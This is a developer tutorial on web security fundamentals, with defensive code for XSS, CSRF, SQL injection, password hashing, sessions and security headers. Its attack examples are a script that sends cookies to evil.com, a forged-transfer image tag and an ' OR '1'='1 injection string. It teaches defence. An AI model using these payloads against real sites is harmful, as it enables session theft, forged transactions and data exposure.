Web Security Fundamentals Every Developer Must Know
Security isn't just for security engineers. Every developer ships code that could be exploited. Here are the attacks you must understand and prevent.
XSS (Cross-Site Scripting)
Attacker injects malicious scripts into your page.
The Attack
<!-- User submits this as their "name" -->
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
Prevention
1. Escape output
// Bad - directly inserting user input
element.innerHTML = userInput;
// Good - escape HTML entities
element.textContent = userInput;
// In React - already escaped by default
return <div>{userInput}</div>;
2. Content Security Policy
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
3. HTTPOnly Cookies
res.cookie('session', token, {
httpOnly: true, // Not accessible via JavaScript
secure: true, // HTTPS only
sameSite: 'strict'
});
CSRF (Cross-Site Request Forgery)
Attacker tricks user into making unwanted requests.
The Attack
<!-- On attacker's site -->
<img src="https://yourbank.com/transfer?to=attacker&amount=10000">
Prevention
1. CSRF Tokens
// Generate token
const csrfToken = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = csrfToken;
// Include in forms
<input type="hidden" name="_csrf" value="{{csrfToken}}">
// Verify on POST
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
2. SameSite Cookies
res.cookie('session', token, { sameSite: 'strict' });
SQL Injection
Attacker manipulates your database queries.
The Attack
// Vulnerable code
const query = `SELECT * FROM users WHERE email = '${email}'`;
// Attacker input: ' OR '1'='1
// Results in: SELECT * FROM users WHERE email = '' OR '1'='1'
// Returns all users!
Prevention
Always use parameterized queries:
// Node.js with pg
const result = await db.query(
'SELECT * FROM users WHERE email = $1',
[email]
);
// Prisma
const user = await prisma.user.findUnique({
where: { email }
});
// Mongoose
const user = await User.findOne({ email });
Password Security
Never store plain text passwords.
const bcrypt = require('bcrypt');
// Hash password before storing
const hashedPassword = await bcrypt.hash(password, 12);
// Verify password
const isValid = await bcrypt.compare(inputPassword, hashedPassword);
Password Requirements
- Minimum 8 characters
- Check against common password lists
- Don't limit maximum length
- Allow all characters (including spaces)
Authentication Best Practices
// Use secure session configuration
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: true, // HTTPS only
httpOnly: true, // No JS access
maxAge: 24 * 60 * 60 * 1000, // 24 hours
sameSite: 'strict'
}
}));
// Rate limit login attempts
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 attempts
message: 'Too many login attempts'
});
app.post('/login', loginLimiter, handleLogin);
Security Headers
const helmet = require('helmet');
app.use(helmet());
// This sets:
// - X-Content-Type-Options: nosniff
// - X-Frame-Options: DENY
// - X-XSS-Protection: 1; mode=block
// - Strict-Transport-Security
// - And more...
Checklist
Before every deployment:
- Input validation on all user data
- Parameterized database queries
- HTTPS everywhere
- Security headers configured
- Dependencies updated
- Secrets in environment variables
- Rate limiting on sensitive endpoints
Security is not a feature—it's a requirement.